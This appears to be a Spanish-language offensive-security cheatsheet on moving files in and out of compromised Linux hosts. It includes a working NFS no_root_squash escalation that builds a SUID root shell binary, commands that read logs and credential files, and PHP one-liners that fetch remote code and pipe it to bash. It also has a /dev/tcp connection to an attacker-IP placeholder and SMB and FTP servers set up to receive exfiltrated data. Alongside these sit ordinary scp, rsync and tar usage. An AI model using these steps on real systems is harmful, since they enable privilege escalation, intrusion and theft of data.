Transferencia de Archivos en Linux
Exfiltración y transferencia de archivos: scp/rsync, descargas con PHP/Python, servidores HTTP/FTP/SMB y empaquetado tar/zip.
Transferencia de Archivos en Linux
Operational Scope & Technical Objective
La transferencia de archivos entre un host comprometido y la máquina del operador cubre dos direcciones: sacar material (exfiltración, credenciales, hashes, binarios) y meter herramientas (linpeas, exploits, payloads). La elección de método depende de qué está disponible en el target: scp/rsync sobre SSH, descargadores de scripting (php -r, python -c, ruby), servidores HTTP triviales levantados en el host del operador, servidores FTP/SMB para recibir archivos, o /dev/tcp como primitiva de red pura. Previamente, el reconocimiento del filesystem localiza dónde están los datos y qué vías de escalada existen (p.ej. NFS con no_root_squash).
Reconocimiento del Filesystem (contexto de exfiltración y escalada)
cat /etc/fstab # montajes en arranque
cat /etc/exports # exportaciones NFS
mount # filesystems montados
df -h # uso de espacio por partición
# Si /etc/exports incluye 'no_root_squash', el share puede montarse localmente,
# escribir un binario SUID como root (los permisos no se mapean) y ejecutarlo en el target
showmount -e MACHINE_IP
mkdir /tmp/1
mount -o rw,vers=2 MACHINE_IP:/tmp /tmp/1
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1/x.c
gcc /tmp/1/x.c -o /tmp/1/x
chmod +s /tmp/1/x
# ¿Qué archivos de /etc son escribibles? ¿Se puede reconfigurar un servicio?
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Cualquiera
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Grupo
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Others
find /etc/ -readable -type f 2>/dev/null # Legibles por cualquiera
find /etc/ -readable -type f -maxdepth 1 2>/dev/null
Contenido de VAR (logs, mail, bases de datos)
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases
HTTP roots / FTP roots
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/
Logs de aplicación con datos sensibles
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
High-Impact Syntax & Command Cheatsheet
scp (Secure Copy sobre SSH)
scp file.txt 192.168.100.4:/home/bob/ # local → remoto
scp -r files 192.168.100.4:/home/bob/ # directorio local → remoto
scp 192.168.100.4:/home/bob/remote-file.txt backup/ # remoto → local
scp file.txt sally@192.168.100.4:/home/sally # local → remoto con usuario explícito
scp [opciones] origen destino
scp -r /ruta/al/directorio usuario@host:/ruta/destino/ # recursivo
scp -P 2222 /ruta/al/archivo usuario@host:/ruta/destino/ # puerto SSH distinto (-P, mayúscula)
scp -v /ruta/al/archivo usuario@host:/ruta/destino/ # verbose
scp -i ~/.ssh/clave_privada.pem /ruta/al/archivo usuario@host:/ruta/destino/ # clave privada
rsync
# Solo copia los archivos que cambiaron entre origen y destino (mejor que scp en bulk)
rsync -avzh file.txt 192.168.100.4:/home/bob
# -a archive (preserva directorios y permisos), -v verbose,
# -z compresión, -h salida human-readable
Descargadores por lenguaje
# PHP
php -r '$file = file_get_contents("<URL>"); file_put_contents("<FILENAME>",$file);'
php -r 'const BUFFER = 1024; $fremote = fopen("<URL>", "rb"); $flocal = fopen("<FILENAME>", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
php -r '$rfile = "<URL>"; $lfile = "<FILENAME>"; $fp = fopen($lfile, "w+"); $ch = curl_init($rfile); curl_setopt($ch, CURLOPT_FILE, $fp); curl_setopt($ch, CURLOPT_TIMEOUT, 20); curl_exec($ch);'
# Recuperar cada línea y ejecutarla
php -r '$lines = @file("<URL>"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
# Python 2
python2 -c 'import urllib; urllib.urlretrieve("<URL>", "<FILENAME>")'
# Python 3
python3 -c 'import urllib.request; urllib.request.urlretrieve("<URL>", "<FILENAME>")'
Cualquier lenguaje con runtime disponible cubre la descarga; el patrón es HTTP GET hacia un servidor levantado en el host del operador.
Servidores web en el host del operador
# python2
python -m SimpleHTTPServer 8080
# python3
python3 -m http.server 8080
# ruby
ruby -run -ehttpd . -p8080
# php
php -S 0.0.0.0:8080
# socat
socat TCP-LISTEN:8080,reuseaddr,fork
Servidor FTP (recepción)
python3 -m pyftpdlib --user=<USERNAME> --password=<PASSWORD> -w
# -w habilita escritura; permite recibir uploads del target
# Upload one-liner desde el target con el cliente ftp de línea
ftp -4 -d -v ftp://offsec:offsec@127.0.0.1//linuxprichecker.py
Servidor SMB (recepción, impacket)
python3 smbserver.py -smb2support CompData /home/<nameofuser>/Documents/
# sirve el directorio como share 'CompData'; el target copia al share para exfiltrar
Primitiva de red pura con /dev/tcp
exec 3<>/dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT>
echo -e "GET /<FILENAME> HTTP/1.1\n\n">&3
cat <&3
Infraestructura de Recepción — Host/VM con SSH (systemctl)
Para transferir archivos entre la máquina virtual (target) y el host físico, se instala y gestiona OpenSSH en el receptor:
# Instalación (Debian/Ubuntu)
sudo apt update
sudo apt install openssh-server
# Instalación (CentOS/Red Hat)
sudo yum install openssh-server
Gestión del servicio:
sudo systemctl status ssh # estado del servicio
sudo systemctl start ssh # iniciar
sudo systemctl stop ssh # detener
sudo systemctl restart ssh # reiniciar
sudo systemctl enable ssh # arranque automático
sudo systemctl disable ssh # sin arranque automático
Configuración: editar /etc/ssh/sshd_config y reiniciar el servicio para aplicar cambios (sudo systemctl restart ssh).
Semántica del destino en scp
Si no se especifica una ruta de destino completa:
- Nombre simple o
host:— el archivo se copia al home del usuario remoto (/home/usuario/). - Ruta relativa (sin
/inicial, p.ej.documentos/) — se interpreta respecto al directorio actual del usuario remoto. - Ruta absoluta (p.ej.
/var/archivos/) — se copia a esa ruta exacta.
Ejemplo:
scp archivo.txt usuario@host:
# → /home/usuario/archivo.txt en el servidor
Para evitar ambigüedad conviene especificar siempre la ruta de destino completa.
Empaquetado antes de enviar
tar
tar -cvf archivo.tar /ruta/a/tus/archivos # -c crear, -v verbose, -f archivo
tar -czvf archivo.tar.gz /ruta/a/tus/archivos # -z compresión gzip
tar -cjvf archivo.tar.bz2 /ruta/a/tus/archivos # -j compresión bzip2
tar tvf backup.tar # listar contenido del archivo
tar xvf backup.tar # extraer
gzip backup.tar # comprimir un .tar existente
gunzip backup.tar.gz # descomprimir
zip
zip -r archivo.zip /ruta/a/tus/archivos # -r recursivo
unzip -l archivo.zip # listar contenido
Real-World Offensive/Defensive Scenarios
-
Ingreso de herramientas en el target (ofensivo): levantar
python3 -m http.server 8080en el host del operador y en el targetwget http://IPTun0:8080/linpeas.shocurl -O; si no haywget/curl, usar los descargadores PHP/Python de la cheatsheet. -
Exfiltración sin servidor HTTP (ofensivo): el share SMB de
smbserver.pyo el FTP depyftpdlibreciben archivos en segundo plano; la primitiva/dev/tcppermite descargar sin herramientas adicionales en el target. -
Escalada por NFS
no_root_squash(ofensivo): el bloque de reconocimiento del filesystem convierte un export montable en SUID root: se compila el payload localmente (gcc+chmod +s), se ejecuta en el target y se obtiene UID 0. -
Canal seguro para VM↔host (ofensivo/defensivo): SSH +
scpcon clave privada (-i) evita exponer la sesión en claro; como defensa,scp/rsyncsobre SSH cifran en tránsito, mientras quetar -czvf+gpgprotegen el material en reposo antes de transferirlo.